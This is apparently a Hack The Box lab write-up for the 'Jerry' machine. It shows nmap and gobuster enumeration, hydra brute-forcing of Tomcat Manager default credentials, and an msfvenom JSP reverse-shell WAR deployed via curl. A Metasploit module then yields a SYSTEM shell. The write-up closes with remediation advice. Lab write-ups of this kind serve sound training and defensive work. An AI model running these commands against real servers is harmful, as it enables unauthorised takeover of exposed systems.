Skip to content

Jerry — Tomcat Manager Default Credentials to SYSTEM Shell

Tools
nmap, gobuster, hydra, curl, msfvenom, netcat, metasploit
Skill demonstrated
Exploitation of exposed Tomcat management interfaces and default credentials
Tags
  • windows
  • tomcat
  • default-credentials
  • war-deployment
Field Value
Difficulty Easy
Target environment Windows Server 2012 R2 (Apache Tomcat 7.0.88)
Starting position Unauthenticated network access
Objective Validate the documented default-credential path from Tomcat Manager access to OS-level control
Outcome SYSTEM-level command execution through Tomcat Manager WAR deployment

Jerry is an Easy-rated Hack The Box Windows lab whose only exposed service is Apache Tomcat 7.0.88, with the Manager application reachable without IP restriction. The Manager authenticates with credentials shown in Tomcat’s own sample configuration, and its legitimate WAR deployment feature executes a JSP reverse shell under the NT AUTHORITY\SYSTEM account that runs the service. Target addresses, credential values, and the deployed JSP filename are replaced with role-based placeholders; command syntax is preserved.

Attack path: Exposed Tomcat Manager → default credentials → authenticated WAR deployment → JSP reverse shell → SYSTEM command execution

  • Target: Windows Server 2012 R2 running Apache Tomcat 7.0.88 — an older release in the 7.x branch.
  • Exposed service: HTTP on TCP 8080, exposing the Manager and Host Manager applications.
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: validate the documented default-credential attack path from Tomcat Manager access to OS-level control.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan returns a single open service.

Terminal window
nmap -sC -sV -p- --min-rate 5000 -oA <SCAN_OUT_PREFIX> <TARGET_IP>
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

Significance: the host presents one attack surface, and the version banner identifies an older Tomcat release.

Result: one exposed HTTP service running Apache Tomcat 7.0.88 is identified.

Observation: directory enumeration identifies the built-in management interfaces.

Terminal window
gobuster dir -u http://<TARGET_IP>:8080 \
-w /usr/share/seclists/Discovery/Web-Content/tomcat.txt \
-t 40 -o gobuster.out
/manager/html
/host-manager/html
/examples/

Significance: the Tomcat Manager provides authenticated users with the ability to deploy, start, stop, and undeploy web applications, so access to it is functionally equivalent to code execution on the host. Requesting /manager/html triggers a Basic Authentication prompt.

Result: the Manager application is reachable and requires authentication; the Host Manager and default examples are also exposed.

Observation: cancelling the Basic Authentication prompt returns a Tomcat error page that includes a sample tomcat-users.xml snippet with example credentials.

<role rolename="manager-gui"/>
<user username="tomcat" password="<DEFAULT_PASSWORD>" roles="manager-gui"/>

Action: the documented example credential pattern was tested against the Manager interface and then confirmed directly.

Terminal window
hydra -L /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt \
-P /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt \
-f -s 8080 <TARGET_IP> http-get /manager/html
[8080][http-get] host: <TARGET_IP> login: <TOMCAT_USER> password: <TOMCAT_PASSWORD>
Terminal window
curl -u <TOMCAT_USER>:<TOMCAT_PASSWORD> http://<TARGET_IP>:8080/manager/html -I
HTTP/1.1 200 OK

Significance: the sample credentials in Tomcat’s documentation are reusable defaults; when an administrator follows the example verbatim, the Manager grants authenticated deployment capability to anyone who reads that page.

Result: a default credential pair is recovered and subsequently validated through the Tomcat Manager, which returns HTTP 200.

Observation: the Manager’s /manager/text/deploy API accepts a WAR upload at an arbitrary context path, providing authenticated code execution.

Action: a JSP reverse-shell WAR was generated, uploaded through the Manager API, and triggered by requesting the embedded JSP.

Terminal window
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=<ATTACKER_HOST> \
LPORT=<LISTEN_PORT> \
-f war \
-o shell.war
Terminal window
curl -u <TOMCAT_USER>:<TOMCAT_PASSWORD> \
http://<TARGET_IP>:8080/manager/text/deploy?path=/shell \
--upload-file shell.war
OK - Deployed application at context path [/shell]
Terminal window
nc -lvnp <LISTEN_PORT>
Terminal window
curl http://<TARGET_IP>:8080/shell/<JSP_FILENAME>.jsp

The trigger request connects back to the listener:

connect to [<ATTACKER_HOST>] from (UNKNOWN) [<TARGET_IP>]
Microsoft Windows [Version 6.3.9600]
<TOMCAT_HOME>>whoami
nt authority\system

Significance: the Manager’s legitimate deployment mechanism is the code-execution primitive, and because the Tomcat service runs under the SYSTEM account, the deployed JSP inherits OS-level privileges immediately.

Result: the privileged whoami output confirms command execution as NT AUTHORITY\SYSTEM; no privilege escalation step was required.

Observation: the exploit/multi/http/tomcat_mgr_upload module automates the same WAR deployment technique.

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <TARGET_IP>
set RPORT 8080
set HttpUsername <TOMCAT_USER>
set HttpPassword <TOMCAT_PASSWORD>
set LHOST <ATTACKER_HOST>
set LPORT <LISTEN_PORT>
set PAYLOAD java/meterpreter/reverse_tcp
run
[*] Meterpreter session 1 opened
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

Significance: the manual and automated methods reach the same execution context with the same valid credentials.

Result: the module reproduces SYSTEM-level code execution on the same target.

No significant obstacles were encountered: the default credential was valid on the first attempt and the WAR deployment completed without error. Tomcat’s sample configuration and the absence of IP restrictions on the Manager are configuration weaknesses rather than exploitable software bugs, so no troubleshooting or workaround was required.

The evidence establishes SYSTEM-level command execution obtained by deploying a JSP reverse-shell WAR through the Tomcat Manager authenticated with default credentials; the privileged whoami output confirms the execution context, and the Metasploit module reproduces the same result. No privilege escalation was required because the Tomcat service runs as NT AUTHORITY\SYSTEM. The demonstrated activity is confined to a single-host Hack The Box lab, and the deployed JSP filename and credential values are omitted.

Neither the compromise path’s remediation nor any control below was validated in the lab; only the compromise itself was demonstrated. Each finding pairs the observed root cause with its demonstrated impact and a recommended action.

  1. Documented default credentials left active. Tomcat’s sample tomcat-users.xml ships example accounts for documentation, and a deployment that keeps them grants any network peer authenticated Manager access. Recommendation: remove the sample accounts and set unique credentials before the server is exposed. Detection: alert on Manager logins that use default or sample account names. Validation: confirm during deployment review that no sample accounts remain in conf/tomcat-users.xml.
  2. Manager reachable without IP restriction. Authenticated access to the Manager allows WAR deployment and therefore code execution. Recommendation: restrict the Manager and Host Manager to trusted hosts with a RemoteAddrValve in conf/Catalina/localhost/manager.xml.
  3. Tomcat running under NT AUTHORITY\SYSTEM. Because the service held SYSTEM privileges, a deployed WAR yielded immediate OS-level control. Recommendation: run Tomcat under a dedicated least-privileged service account with write access limited to its own directories.
Edit page

Last updated: